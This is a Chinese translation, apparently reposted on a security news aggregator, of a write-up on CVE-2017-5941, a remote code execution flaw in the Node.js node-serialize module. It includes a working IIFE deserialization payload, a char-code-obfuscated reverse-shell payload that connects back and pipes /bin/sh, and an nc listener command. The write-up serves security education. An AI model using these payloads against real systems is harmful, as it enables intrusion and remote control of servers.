Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【漏洞分析】利用Node.js反序列化的漏洞执行远程代码(含演示视频)

$
0
0
【漏洞分析】利用Node.js反序列化的漏洞执行远程代码(含演示视频)

2017-02-10 17:44:55
来源:exploit-db.com 作者:阻圣

阅读:554次
点赞(0)
收藏





【漏洞分析】利用Node.js反序列化的漏洞执行远程代码(含演示视频)

翻译:阻圣

预估稿费:100RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


漏洞介绍

漏洞名称:Exploiting Node.js deserialization bug for Remote Code Execution

漏洞CVE id:CVE-2017-5941

漏洞类型:代码执行

漏洞简介:

不可信的数据传入了unserialize()函数,这导致我们可以通过传递带有立即调用函数表达式(IIFE)的javascript对象来实现任意代码执行。


漏洞详情

在Node.js代码审查期间,我碰巧看到了一个序列化/反序列化模块命名为node-serialize。cookie的值来自请求然后被传递到模块提供的unserialize()函数。下面是一个示例的node.js应用程序:

varexpress=require('express'); varcookieParser=require('cookie-parser'); varescape=require('escape-html'); varserialize=require('node-serialize'); varapp=express(); app.use(cookieParser()) app.get('/',function(req,res){ if(req.cookies.profile){ varstr=newBuffer(req.cookies.profile,'base64').toStrin(); varobj=serialize.unserialize(str); if(obj.username){ res.send("Hello"+escape(obj.username)); } }else{ res.cookie('profile',"eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5Ijo iYmFuZ2Fsb3JlIn0=",{maxAge:900000,httpOnly:true}); } res.send("HelloWorld"); }); app.listen(3000);

Java,php,Ruby和python也有着大量的反序列化问题

Understanding PHP Object Injection

Java Deserialization Cheat Sheet

Rails Remote Code Execution Vulnerability Explained

Arbitrary code execution with Python pickles

但是我找不到任何解释反序列化/对象的资源来解释Node.js中的注入BUG。


Building the Payload

我使用node-serialize version 0.0.4进行研究,为了成功利用当不可信数据传递到unserialize()函数时,执行任意代码。创建Payload的最好方法就是使用同一模块的serialize()函数。

我创建了以下JavaScript对象并将其传递给serialize()函数。

vary={ rce:function(){ require('child_process').exec('ls/',function(error, stdout,stderr){console.log(stdout)}); }, } varserialize=require('node-serialize'); console.log("Serialized:\n"+serialize.serialize(y));

输出如下:


【漏洞分析】利用Node.js反序列化的漏洞执行远程代码(含演示视频)

现在我们有一个序列化的字符串,可以通过unserialize()函数进行反序列化,但问题是代码执行不会发生,直到你触发对应于对象的rce属性的函数。后来我想出,我们可以使用JavaScript的立即调用函数表达式(IIFE)来调用该函数。如果我们在函数体之后使用括号(),当对象被创建时,函数将被调用。 它的工作方式类似于C ++中的类构造函数。

代码:

vary={ rce:function(){ require('child_process').exec('ls/',function(error, stdout,stderr){console.log(stdout)}); }(), } varserialize=require('node-serialize'); console.log("Serialized:\n"+serialize.serialize(y));

获得以下输出


【漏洞分析】利用Node.js反序列化的漏洞执行远程代码(含演示视频)

IIFE工作正常,但序列化失败。所以我试图在以前序列化的字符串的函数体后添加括号()。并将其传递给unserialize()函数,幸运的它成功了。所以我们有Exploit Payload:

{"rce":"_$$ND_FUNC$$_function(){\n\t require('child_process').exec('ls/',function(error,stdout,stderr){ console.log(stdout)});\n}()"}

将它传递给unserialize()函数将导致代码执行。

varserialize=require('node-serialize'); varpayload='{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls/\', function(error,stdout,stderr){console.log(stdout) });}()"}'; serialize.unserialize(payload);

演示:


【漏洞分析】利用Node.js反序列化的漏洞执行远程代码(含演示视频)

现在我们知道我们可以利用node-serialize模块中的unserialize()函数。现在让我们来利用漏洞生成一个反向shell。


Further Exploitation

Web应用程序中的漏洞是它从HTTP请求中读取名为profile的cookie,对cookie值执行base64解码,并将其传递给unserialize()函数。由于cookie是不受信任的输入,攻击者可以制作恶意Cookie值以利用此漏洞。

我使用nodejsshell.py生成反向shell有效负载。

$pythonnodejsshell.py127.0.0.11337 [+]LHOST=127.0.0.1 [+]LPORT=1337 [+]Encoding eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,10 5,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,3 2,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,11 5,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,50,55,46,48,46,48,46, 49,34,59,10,80,79,82,84,61,34,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,4 8,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103 ,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,6 1,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,11 0,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,3 2,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,1 14,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,3 2,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,8 4,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32 ,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,3 2,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79, 83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,3 2,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,1 04,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114 ,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32, 32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,11 6,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,11 6,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,1 15,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116, 41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,1 02,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,12 3,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68 ,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,3 2,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116, 46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40, 101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116, 40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,3 2,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))

现在让我们生成序列化的有效内容,并在函数体后添加括号()。

{"rce":"_$$ND_FUNC$$_function(){ eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101 ,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,1 12,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,1 08,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,1 0,72,79,83,84,61,34,49,50,55,46,48,46,48,46,49,34,59,10,80,79,82,84,61,3 4,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,1 05,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112 ,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32, 61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83, 116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111, 110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105 ,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,1 10,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32, 125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82 ,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,6 1,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,3 2,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,7 9,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,3 2,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,11 2,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32, 32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34, 67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32 ,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115, 116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,10 0,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,3 2,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,1 12,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115, 104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111 ,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32 ,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105, 115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,3 2,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108, 105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117 ,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,11 5,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82, 84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125, 10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}

我们需要执行相同的Base64编码,然后使用Cookie头中的编码Payload向Web服务器发出请求。


【漏洞分析】利用Node.js反序列化的漏洞执行远程代码(含演示视频)

现在我们可以使用nc监听一下本地的一个端口:

nc-l127.0.0.11337

演示:


【漏洞分析】利用Node.js反序列化的漏洞执行远程代码(含演示视频)

成功利用,反弹一个shell。


演示视频


总结

我们利用了一个反序列化的bug实现了任意代码执行,经验告诉我们,永远不要相信用户的输入。这个漏洞产生的根本原因在于内部使用了eval()反序列化,我在另一个名为serialize-to-js的模块中也发现了一个类似的错误。在该模块中,Node.js中的require()函数在没有IIFE的对象的反序列化期间没有范围,并且它们在内部使用新的函数用于反序列化。我们仍然可以使用稍微复杂的有效载荷来实现代码执行。


【漏洞分析】利用Node.js反序列化的漏洞执行远程代码(含演示视频)
【漏洞分析】利用Node.js反序列化的漏洞执行远程代码(含演示视频)
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://www.exploit-db.com/docs/41289.pdf

Viewing all articles
Browse latest Browse all 12749

Latest Images

Trending Articles





Latest Images